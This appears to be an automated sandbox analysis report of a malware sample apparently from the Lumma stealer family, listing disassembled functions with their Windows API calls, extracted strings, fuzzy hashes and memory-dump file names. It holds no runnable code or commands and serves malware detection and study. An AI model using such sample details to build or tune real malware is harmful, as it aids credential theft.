Instruction Fuzzy Hash: 036182709013A98BCB64DF55CC997EDB7B0BF64304F2082E8D599572A2DA746EC4DF10

Function 00CE6418 Relevance: 4.6, APIs: 3, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OffsetRect.USER32(00000000,00000000,00000000), ref: 00CE6485
swap.LIBCPMTD ref: 00CE64B2
Polyline.GDI32(00000000,00000000,00000000), ref: 00CE64C0

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: OffsetPolylineRectswap
String ID:
API String ID: 2634958021-0
Opcode ID: 3ce75e4159c82c36b4e71fb3408e94c2cc4cfc1af502309bbca8945b8f2b70ce
Instruction ID: bac9e07f99013a9b0678d97de1619b348167a8fc746044322bea6dcd6c410409
Opcode Fuzzy Hash: 3ce75e4159c82c36b4e71fb3408e94c2cc4cfc1af502309bbca8945b8f2b70ce
Instruction Fuzzy Hash: AF31B17094026D9BCB24CB25CCA9BE8B7B0BF64304F2441E8E65E662D2DA702FC4DF10

Function 00D05230 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00D0522A,00000000,00CFB86A,?,?,0EB354B7,00CFB86A,?), ref: 00D05241
TerminateProcess.KERNEL32(00000000,?,00D0522A,00000000,00CFB86A,?,?,0EB354B7,00CFB86A,?), ref: 00D05248
ExitProcess.KERNEL32 ref: 00D0525A

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: b091929587ff70fea3c24b1b987477199bb6ff77ad07cc21cfaaac6c1064487b
Instruction ID: 26ababa9d91e4572665af1b2015369a7a7bd847ed1bb978ba1d0f493dce865ba
Opcode Fuzzy Hash: b091929587ff70fea3c24b1b987477199bb6ff77ad07cc21cfaaac6c1064487b
Instruction Fuzzy Hash: 78D06771004608BBCF512F64ED2D9CA7F2AEF44351B058010BD0989276DF7199529EB5

Function 00CE6AA0 Relevance: 3.0, APIs: 2, Instructions: 18
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_000069A0,00000000,00000000,00000000), ref: 00CE6AB3
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00CE6AC2

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: 44cf8f7d34a24f03c5ae54b5febbfea85266ce43a9f212603e9124bd64a562a4
Instruction ID: 533f35602d8968a7d0c4b0a4240deee789a0451308723b74791f37265be2c536
Opcode Fuzzy Hash: 44cf8f7d34a24f03c5ae54b5febbfea85266ce43a9f212603e9124bd64a562a4
Instruction Fuzzy Hash: BCD09E74A84308BBEA209B959C1BF59B7A8D709B22F204295BE14AA2D0D9B179004A69

Function 00CE6F4B Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNumberOfEventLogRecords.ADVAPI32(00000000,00000000), ref: 00CE6F56
DeleteAce.ADVAPI32(00000000,00000000), ref: 00CE6F60

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: DeleteEventNumberRecords
String ID:
API String ID: 3967249728-0
Opcode ID: 9656e2e8bd187f1565479be1bf63429811a7e9d259e929224512e6d3760abec0
Instruction ID: 8d91379347ec4147ea323bf8d78a7f79491fad2a208cd220907b0798408c4d0b
Opcode Fuzzy Hash: 9656e2e8bd187f1565479be1bf63429811a7e9d259e929224512e6d3760abec0
Instruction Fuzzy Hash: E3D05E32788304ABE310CBD4AC1AB88F7A0E748B32F20826AE615D52C0DB711001C624

Function 00CF42D5 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CF4236: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,00CF4288,00CE3EB2,?,00CF42C9,00CE3EB2,?,?,00CE3EB2,?), ref: 00CF4242

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,0EB354B7,?,?,?,Function_00038146,000000FF), ref: 00CF433C

Part of subcall function 00CE3B40: std::_Throw_Cpp_error.LIBCPMT ref: 00CE3B5E
Part of subcall function 00CE3B40: std::_Throw_Cpp_error.LIBCPMT ref: 00CE3B74

Part of subcall function 00CF62CB: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,00CE3B95,00000000), ref: 00CF62DF

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID:
API String ID: 1423221283-0
Opcode ID: b78440352a8713dc80cf9299c0a217c823ae5c78ff92e614cbc1cf3bdbae34d4
Instruction ID: fe282e774feee170570f437fc9aa8d9262298a6dc38dc00faf520e6bbb6b3695
Opcode Fuzzy Hash: b78440352a8713dc80cf9299c0a217c823ae5c78ff92e614cbc1cf3bdbae34d4
Instruction Fuzzy Hash: DE112232600348ABCB296B14DC21B7FB769FB81B20B14411AF625D33A1DF35E802DA62

Function 00D09887 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d64c67f590a502035a8dc3e0b079194fe7fe9baae41d0b469f66294e0416cc84
Instruction ID: 4a7733424e049f0bebb8578df197265a454d236320d3c59262f0df0a6d3b176d
Opcode Fuzzy Hash: d64c67f590a502035a8dc3e0b079194fe7fe9baae41d0b469f66294e0416cc84
Instruction Fuzzy Hash: E601F5376003156FDF269E6AEC60A5B7396EBC53207188124F958CB3DADB30D8118AB0

Function 00D0E618 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00D0E652

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: a250d43c34b97e8b563c356ca9ed54b400623a6650638a2678e22b363762dbad
Instruction ID: f1aa2a52ef35d8e0df0526208d09e909ab9b5506882084be9c4d876af22e9bc2
Opcode Fuzzy Hash: a250d43c34b97e8b563c356ca9ed54b400623a6650638a2678e22b363762dbad
Instruction Fuzzy Hash: E1112371A0420AAFCF05DF58E941A9F7BF8EF48304F0544AAF809EB351D671EA11CBA4

Function 00CF3470 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00CF348D

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Concurrency::details::_CriticalLock::_ReentrantScoped_lockScoped_lock::_
String ID:
API String ID: 2154540393-0
Opcode ID: 09131b63a6da31728d36c117e5e7ee9cb0ca8ee0e262d9e00a3b70d4c3822c64
Instruction ID: 288d8db4f88017a0804e572ba4e46c94be7005ce5c8e5df8f001666bf1af04d4
Opcode Fuzzy Hash: 09131b63a6da31728d36c117e5e7ee9cb0ca8ee0e262d9e00a3b70d4c3822c64
Instruction Fuzzy Hash: 2DE0123180518C6ADB08FBA5D852AED7B349F20304F5042A9E80627282DF315719D7A5

Function 00D1532C Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,?,00D1571C,?,?,00000000,?,00D1571C,?,0000000C), ref: 00D15349

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3cef9f4781ed6e7cbddaa7b9c284207fd0b33af8f7f64950e7124d9c663b7eb4
Instruction ID: 2b54136fb2fdda5cbfc22eeb6f8e008871bf2958c11e67092500dc51aebe86f3
Opcode Fuzzy Hash: 3cef9f4781ed6e7cbddaa7b9c284207fd0b33af8f7f64950e7124d9c663b7eb4
Instruction Fuzzy Hash: D0D06C3200020DFBDF128F84DC06EDA7BAAFB4C714F018010BA1896120C732E822ABA0

Function 00CF3020 Relevance: 1.5, APIs: 1, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_Concurrent_vector_base_v4::_Internal_capacity.LIBCPMTD ref: 00CF3026

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Concurrency::details::_Concurrent_vector_base_v4::_Internal_capacity
String ID:
API String ID: 3301924727-0
Opcode ID: c85fde5eaa23a1f99be4e5080680d27b98780177031603a9170bbdcda1ef017c
Instruction ID: b32987a43e7d21374990476923822e47ed455316424474e23600cefcfbd6231e
Opcode Fuzzy Hash: c85fde5eaa23a1f99be4e5080680d27b98780177031603a9170bbdcda1ef017c
Instruction Fuzzy Hash: 49A0223000030C038A08BE88E822C38338C0AC0A00F800020BE0E0B2028E20FC8088CA

Non-executed Functions

Function 00D44D88 Relevance: 14.2, Strings: 11, Instructions: 462COMMON

Download Yara Rule

Strings

h9j?, xrefs: 00D459D5
z=d3, xrefs: 00D459E0
GT, xrefs: 00D44D97
~5a+, xrefs: 00D459F6
IyGw, xrefs: 00D45710
WQ, xrefs: 00D44DA2
q1|7, xrefs: 00D459EB
uw, xrefs: 00D45126
TN, xrefs: 00D44DB8
,-, xrefs: 00D45A0C
[@, xrefs: 00D44DAD

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: ,-$GT$IyGw$TN$WQ$[@$h9j?$q1|7$z=d3$~5a+$uw
API String ID: 0-3880039508
Opcode ID: 62c28b784561caf47fb8eb4f2ca21d1f4cbd2f1e6feb2825ca9470a418ae484b
Instruction ID: 4b130bb0a6583e65cbe0fe1317e261f8c6321474818308f4428bb82b3aed2f95
Opcode Fuzzy Hash: 62c28b784561caf47fb8eb4f2ca21d1f4cbd2f1e6feb2825ca9470a418ae484b
Instruction Fuzzy Hash: E752B5B02193858FE374EF15D485BEABAE1BB86344F148E2DC5DE5B246CB708146CF92

Function 00D13682 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00D13866

Strings

1#INF, xrefs: 00D137B8
1#QNAN, xrefs: 00D13795
1#SNAN, xrefs: 00D1378E
1#IND, xrefs: 00D13787

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 7e0b5826ee3098f8eef6e67f89ece36e27785b49e08b1afdf93f4927d36cce9d
Instruction ID: aca1eb88053cc074d7ea36be18a1c7a88a1ad1fa5f2655ba7e5565dc4c4e76e2
Opcode Fuzzy Hash: 7e0b5826ee3098f8eef6e67f89ece36e27785b49e08b1afdf93f4927d36cce9d
Instruction Fuzzy Hash: 64D22A71E082289FDB65CE28ED407EAB7B5EB44305F1841EAE44DE7240EB74AEC58F51

Function 00D2FCF8 Relevance: 9.2, Strings: 7, Instructions: 442COMMON

Download Yara Rule

Strings

:I*W, xrefs: 00D30144
0, xrefs: 00D2FD58
wu#, xrefs: 00D2FF5D
"eBc, xrefs: 00D3016C
9U S, xrefs: 00D3014C
tFsw, xrefs: 00D2FE20
,Qk_, xrefs: 00D30154

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: "eBc$,Qk_$0$9U S$:I*W$tFsw$wu#
API String ID: 0-2698138864
Opcode ID: 0c3ffde169d713f9eca38fbd59d6d2f0084cb0bcbc85141e359cb9375c7bc91c
Instruction ID: 48bd7de2a4e734d4ff8e7e12fdb98b069848fae0541158a1bcc578e8fc91077c
Opcode Fuzzy Hash: 0c3ffde169d713f9eca38fbd59d6d2f0084cb0bcbc85141e359cb9375c7bc91c
Instruction Fuzzy Hash: 880241B1608341AFD318CF24D590A6FBBE2EBC6708F549D2DE4C98B291C774D909CB56

Function 00D12498 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00D127B6,00000002,00000000,?,?,?,00D127B6,?,00000000), ref: 00D12531
GetLocaleInfoW.KERNEL32(?,20001004,00D127B6,00000002,00000000,?,?,?,00D127B6,?,00000000), ref: 00D1255A
GetACP.KERNEL32(?,?,00D127B6,?,00000000), ref: 00D1256F

Strings

OCP, xrefs: 00D124EC
ACP, xrefs: 00D124B6

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 1ba5b68b3605105a793727e6fdf2e1fbfc7c45796ba1e8e140328ec453829405
Instruction ID: 52eee3f402ed72412d8870a8d26cc20e3b9ade22c6a7e424bf2d5af41137c776
Opcode Fuzzy Hash: 1ba5b68b3605105a793727e6fdf2e1fbfc7c45796ba1e8e140328ec453829405
Instruction Fuzzy Hash: DC21B262A40100B6FB348F65F956AF7B6A7AB64B64B5A8424E949C7210EF33DDD0C370

Function 00D1266D Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00D12779
IsValidCodePage.KERNEL32(00000000), ref: 00D127C2
IsValidLocale.KERNEL32(?,00000001), ref: 00D127D1
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00D12819
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00D12838

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 4c8a949e5c3803c84e73d29420b6d32541dd945dbfe0f38051ba54580956aae8
Instruction ID: 76dc955f70e2b967e98c9590589a0616096a542c53b94fb0dee23abd29813ce7
Opcode Fuzzy Hash: 4c8a949e5c3803c84e73d29420b6d32541dd945dbfe0f38051ba54580956aae8
Instruction Fuzzy Hash: F5515872A00206BADB10DFA4EC45AFBB3B8EF18700F184429A955E7190EF729995CB71

Function 00D11D09 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

GetACP.KERNEL32(?,?,?,?,?,?,00D067BE,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00D11DCA
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00D067BE,?,?,?,00000055,?,-00000050,?,?), ref: 00D11DF5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00D11F58

Strings

utf8, xrefs: 00D11EC7

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 6d6e9fd0c0db3572a0dceb8caee18e2e19adc99e542c194a06b0fac2b78242f6
Instruction ID: 27282aa190bdbfab17ee5fc58d98e8f3e17ab3273dcab091a29530f20202c28c
Opcode Fuzzy Hash: 6d6e9fd0c0db3572a0dceb8caee18e2e19adc99e542c194a06b0fac2b78242f6
Instruction Fuzzy Hash: 7F71C379A00306BADB24AB75FC46BFAB7A9EF05350F184029FA45D7181EF70E9C18674

Function 00D0AEF8 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D0AF85

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e521279abed7f05af3b105e51dce930b68d60330c29739c1ee24215d5be61886
Instruction ID: 4ec12b9518b198be202c13c30cdd7c9f097583c76641caaadfb8b8d88d665e70
Opcode Fuzzy Hash: e521279abed7f05af3b105e51dce930b68d60330c29739c1ee24215d5be61886
Instruction Fuzzy Hash: A7B146729082469FDB158F28C8917FEBBA5EF59360F18416BE958AB2C1C3349D01CBB1

Function 00CF7823 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00CF782F
IsDebuggerPresent.KERNEL32 ref: 00CF78FB
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CF7914
UnhandledExceptionFilter.KERNEL32(?), ref: 00CF791E

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ff800c4fd22683cbc598e33302072d24d4438237cb5dd0c8c5d13fe451eb806a
Instruction ID: a038092ec45d120a91109cfafc62c7e9ff640a247ad524712a42f75ecc163783
Opcode Fuzzy Hash: ff800c4fd22683cbc598e33302072d24d4438237cb5dd0c8c5d13fe451eb806a
Instruction Fuzzy Hash: A53105B5D0521C9ADF60DFA4D9597CDBBB8AF08300F1041AAE50DAB290EBB09B85DF45

Function 00D1211C Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D12170
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D121BA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D12280

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
